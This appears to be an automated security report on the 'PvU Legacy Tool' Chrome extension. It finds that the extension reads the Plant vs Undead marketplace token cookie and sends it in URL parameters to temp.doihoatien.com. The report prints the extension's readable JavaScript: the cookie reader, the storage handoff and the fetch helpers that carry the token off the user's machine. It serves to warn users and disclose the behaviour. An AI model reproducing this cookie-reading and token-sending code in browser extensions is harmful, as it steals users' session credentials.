Is PvU Legacy Tool safe?

High risk

PvU Legacy Tool sends the Plant vs Undead marketplace auth token to temp.doihoatien.com.

When you use the Plant vs Undead marketplace, the extension reads the site's token cookie and saves it in Chrome sync storage. Its popup and automation features then send that token in requests to temp.doihoatien.com for whitelist checks and game actions such as harvesting, stealing plants, chasing the Crow King, and claiming pet rewards.

Red Leev1.0.31Chrome Web Store
72Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

PvU marketplace token sent to temp.doihoatien.com

Using PvU Legacy Tool on the Plant vs Undead marketplace makes it read the token cookie and save it to Chrome sync storage.

The popup then uses that token in GET requests to temp.doihoatien.com/pvu_tool.php, in the t parameter.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You visit the Plant vs Undead marketplace while signed in and then open the extension popup.

The content script runs on marketplace pages, and the popup starts its verification workflow when opened.

The extension did this

The extension reads your marketplace token cookie, stores it, and sends it to temp.doihoatien.com.

The token is placed in the t query parameter on pvu_tool.php requests.

Fields placed into temp.doihoatien.com requests
  • Marketplace auth token
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNBZGRyZXNzIjoiMHgxMjM0NTY3ODkwYWJjZGVmMTIzNDU2Nzg5MGFiY2RlZjEyMzQ1Njc4IiwiaWF0IjoxNzE2MjM5MDQwfQ.s8g8S0Nm0rlrU66mse0fdSXqJ2w-zTSfH7umqv5d8hY (illustrative)

    This can identify your signed-in marketplace session and authorize marketplace requests tied to you.

  • Action code
    a=h

    This tells the remote server which marketplace helper action the extension wants to run for your session.

  • Tool version flag
    v=1

    This adds extension workflow context to the remote request alongside your token.

  • Marketplace slot ID
    6469159e3c11ee31f02d8661

    For automated actions, this identifies a specific marketplace plant or slot associated with your session.

Captured request
GEThttps://temp.doihoatien.com/pvu_tool.php?t=<redacted>&v=1&a=h
Headers
accept
application/json
The code that does this

Cookie read, storage handoff, popup trigger, and remote GET helpers

Readable version

Readable flow for the marketplace content script

pvu_web_content.js
const marketplaceToken = readCookieValue("token");let userId;let walletId;let latestFailedActionTime;let shouldRefreshData = false;let isAccountVerified = false;let isAutoHarvestConfigured = false;let plantCount = 0;initializeMarketplaceJob();async function initializeMarketplaceJob() {  if (typeof marketplaceToken === "undefined" || marketplaceToken.length === 0) {    return;  }  await chrome.storage.sync.set({ token_ex: marketplaceToken });  const userInfo = await GetUserInfo(marketplaceToken);  walletId = userInfo?.data?.publicAddress;  latestFailedActionTime = userInfo?.data?.stealFailLatestTime || 0;  const { verified } = await chrome.storage.sync.get("verified");  const { config_auto_harvest } = await chrome.storage.sync.get("config_auto_harvest");  isAccountVerified = verified;  isAutoHarvestConfigured = config_auto_harvest;  const { totalPlants } = await chrome.storage.sync.get("totalPlants");  plantCount = totalPlants;  await chrome.storage.sync.get("plants");  const { last_get_plants } = await chrome.storage.sync.get("last_get_plants");  const now = new Date().getTime();  const needsFreshData = typeof last_get_plants === "undefined" || (now - last_get_plants) / 1000 > 180;  let plants = await GetPlantsFromGroup();  if (typeof plants === "undefined" || plants.length === 0 || needsFreshData) {    if (isAccountVerified) {      await FetchAllPlantsGroupByLand(marketplaceToken, walletId);      plants = await GetPlantsFromGroup();    } else {      plants = await FetchAllPlants(marketplaceToken, walletId);    }  }  if (plants.length > 0) {    const firstPlant = plants[0];    const { crowWaterAlarms } = await chrome.storage.sync.get("crowWaterAlarms");    await InitUI(firstPlant, crowWaterAlarms);  }}function readCookieValue(name) {  const escapedName = name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1");  const match = document.cookie.match(new RegExp("(?:^|; )" + escapedName + "=([^;]*)"));  return match ? decodeURIComponent(match[1]) : undefined;}

Readable flow for the popup token handoff

popup.js
chrome.storage.sync.get("token_ex", ({ token_ex }) => {  document.getElementById("instruction-load-data").style.display = "none";  if (typeof token_ex === "undefined") {    document.getElementById("game-info-area").style.display = "none";    document.getElementById("instruction-load-data").style.display = "block";    return;  }  token = token_ex;  CallCheckHarvestWhiteList(token).then((data) => {    if (data.status === "0") {      document.getElementById("verified").style.display = "block";      chrome.storage.sync.set({ verified: true });      verified = true;    } else {      chrome.storage.sync.set({ verified: false });    }    chrome.storage.sync.get("last_get_plants").then((storageData) => {      const { last_get_plants } = storageData;      document.getElementById("cache_time").innerHTML = typeof last_get_plants !== "undefined" ? GetDatetimeDisplay(last_get_plants) : "-";      const now = new Date().getTime();      const needsFreshData = typeof last_get_plants === "undefined" || (now - last_get_plants) / 1000 > 180;      if (needsFreshData) {        GetUserDataLocal().then((userData) => {          if (verified) {            FetchAllPlantsGroupByLand(token, userData.wallet_id).then(() => {              LoadPlantGroup();            });          } else {            FetchAllPlants(token, userData.wallet_id).then(() => {              LoadPlants();            });          }        });      } else if (verified) {        LoadPlantGroup();      } else {        LoadPlants();      }    });  });});

Readable flow for the temp.doihoatien.com requests

utils.js
async function checkHarvestWhitelist(token) {  const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&v=1&a=h";  const response = await fetch(url, {    method: "GET",    headers: new Headers({      accept: "application/json"    })  });  return await response.json();}async function checkAdvancedWhitelist(token) {  const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&v=1&a=s";  const response = await fetch(url, {    method: "GET",    headers: new Headers({      accept: "application/json"    })  });  return await response.json();}async function requestHarvestAction(token, slotId, noPlants) {  const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&a=h" + "&slot_id=" + slotId + "&n=" + noPlants;  const response = await fetch(url, {    method: "GET",    headers: new Headers({      accept: "application/json"    })  });  return await response.json();}async function requestSecondaryPlantAction(token, slotId) {  const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&a=s" + "&slot_id=" + slotId;  const response = await fetch(url, {    method: "GET",    headers: new Headers({      accept: "application/json"    })  });  return await response.json();}async function requestCrowKingAction(token) {  const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&a=ck";  const response = await fetch(url, {    method: "GET",    headers: new Headers({      accept: "application/json"    })  });  return await response.json();}async function requestPetRewardAction(token, slotId) {  const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&a=cr&slot_id=" + slotId;  const response = await fetch(url, {    method: "GET",    headers: new Headers({      accept: "application/json"    })  });  return await response.json();}
Remote host that receives the marketplace token
    • temp.doihoatien.com

    Receives pvu_tool.php GET requests whose t query parameter is the Plant vs Undead marketplace token.

What it can do

Permissions this extension asks for, as declared in version 1.0.31. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on marketplace.plantvsundead.com

    https://marketplace.plantvsundead.com/

  • Read and change your data on api.plantvsundead.com

    https://api.plantvsundead.com/

  • Read and change your data on pvu.lovestoblog.com

    https://pvu.lovestoblog.com/

  • Store data in your browser

    storage

  • Show you desktop notifications

    notifications

  • Schedule its own background tasks

    alarms

Where it sends data

Destinations our analysis observed PvU Legacy Tool contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • temp.doihoatien.com

    PvU Legacy Tool sends data to temp.doihoatien.com. No other extension we have analysed sends data here.

Updated 30 September 2026hcceikdgppjfkaffcdlbgdkboaeobiek